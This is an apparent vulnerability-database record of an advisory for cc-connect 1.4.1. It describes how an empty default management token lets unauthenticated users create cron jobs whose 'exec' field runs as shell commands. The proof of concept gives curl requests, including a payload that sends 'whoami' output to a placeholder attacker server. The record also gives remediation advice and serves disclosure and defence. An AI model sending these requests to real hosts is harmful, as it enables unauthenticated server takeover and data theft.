| Title | chenhg5 cc-connect 1.4.1 Command Injection |
|---|
| Description |
> ## CVE: Management API Unauthenticated Remote Command Execution
>
> ### 1. Metadata
>
> ID: CVE-PENDING-02
>
> Severity: CRITICAL (CVSS:9.8)
>
> Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
>
> CWE: 306 (Missing Authentication) + 78 (OS Command Injection)
>
> Component: core/management.go, core/cron.go, core/engine.go
>
> Location: core/management.go:325-338
>
> Confidence: 0.80
>
> Status: Confirmed (Source Code Validated)
>
> Date: 2026-07-03
>
> ### 2. Summary
>
> The cc-connect Management API contains an authentication bypass chained with OS command injection. The `authenticate()` method returns `true` when `management.token` is empty (Go zero-value default). Unauthenticated remote attackers can create malicious cron jobs via `POST /api/v1/cron`. The user-controlled `exec` field is executed as native shell commands via `shellExecCommand()`, allowing full server compromise, persistent backdoor deployment and internal network pivoting without any credentials.
>
> ### 3. Vulnerability Analysis
>
> #### 3.1 Root Cause
>
> 1. `management.token` is empty by default, enabling universal authentication bypass;
> 2. Management API lacks authorization checks for cron job creation;
> 3. Unsantized `exec` parameter is directly forwarded to system command execution sink.
>
> #### 3.2 Vulnerable Authentication Code
>
>
>
> ```
> func (m *ManagementServer)authenticate(r *http.Request)bool{
> if m.token==""{return true} // Bypass all authentication
> if auth:=r.Header.Get("Authorization");strings.HasPrefix(auth,"Bearer "){
> return subtle.ConstantTimeCompare([]byte(strings.TrimPrefix(auth,"Bearer ")),[]byte(m.token))==1
> }
> if t:=r.URL.Query().Get("token");t!=""{
> return subtle.ConstantTimeCompare([]byte(t),[]byte(m.token))==1
> }
> return false
> }
> ```
>
> ### 4. Exploit Chain
>
> 1. `management.token` is empty by default (config.go:179-184);
> 2. API middleware calls `authenticate()` and bypasses verification;
> 3. Attacker sends POST request to create cron job with malicious `exec` payload;
> 4. System persists job and marks it as shell-executable;
> 5. Cron scheduler triggers `executeCronShell()`;
> 6. `shellExecCommand()` executes arbitrary OS commands (engine.go:1960).
>
> ### 5. Proof of Concept
>
> Works on default configuration with empty `management.token`:
>
> #### Step 1: Create Malicious Cron Job
>
>
>
> ```
> curl -X POST http://target:9820/api/v1/cron \
> -H "Content-Type:application/json" \
> -d '{"cron_expr":"* * * * *","exec":"curl http://attacker-server/$(whoami)","session_key":"slack:C123:U456","description":"test"}'
> ```
>
> Response: HTTP 200 OK, job created successfully.
>
> #### Step 2: Force Immediate Execution
>
> ```
> curl -X POST http://target:9820/api/v1/cron/JOB_ID/exec
> ```
>
> Response: HTTP 202 Accepted, command executed under cc-connect process privilege.
>
> ### 6. Impact
>
> Attackers can steal sensitive API credentials, pivot to internal network assets, deploy persistent backdoors, and obtain full root-level control of the host server.
>
> ### 7. Remediation
>
> #### Immediate Mitigation
>
> Set a cryptographically strong random `management.token` in configuration; restrict TCP 9820 port access via firewall IP allowlist.
>
> #### Permanent Fix
>
> 1. Deny all requests when `management.token` is empty;
> 2. Embed a secure random default token in source code;
> 3. Implement strict allowlist validation for cron `exec` commands;
> 4. Add global IP whitelist for Management API endpoints.
|
|---|
| Source | ⚠️ https://github.com/chenhg5/cc-connect/issues/1489 |
|---|
| User | summmm (UID 69690) |
|---|
| Submission | 07/03/2026 09:51 (2 months ago) |
|---|
| Moderation | 08/19/2026 18:47 (2 months later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 393231 [chenhg5 cc-connect up to 1.4.1 Management API core/engine.go shellExecCommand exec os command injection] |
|---|
| Points | 20 |
|---|